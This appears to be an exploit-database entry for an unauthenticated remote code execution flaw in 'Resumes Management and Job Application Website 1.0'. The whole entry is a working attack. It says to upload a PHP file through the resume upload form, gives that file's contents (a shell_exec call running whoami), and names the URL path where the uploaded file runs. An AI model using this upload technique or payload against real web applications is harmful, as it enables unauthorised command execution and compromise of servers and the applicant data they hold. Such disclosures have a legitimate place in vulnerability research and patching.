Resumes Management and Job Application Website 1.0 - RCE (Unauthenticated)

# Exploit Title: Resumes Management and Job Application Website 1.0 - RCE (Unauthenticated)
# Date: 3/1/2021
# Exploit Author: Arnav Tripathy
# Vendor Homepage: https://egavilanmedia.com
# Software Link: https://egavilanmedia.com/resumes-management-and-job-application-website/
# Version: 1.0
# Tested on: linux/lamp

Submit rce.php in resume file upload unauthenticated.
Contents of rce.php
<?php
$output = shell_exec('whoami');
echo "<h1>$output</h1>";
?>

Navigate to http://localhost/Resumes Management and Job Application
Website/files/rce.php

You will get the output of whoami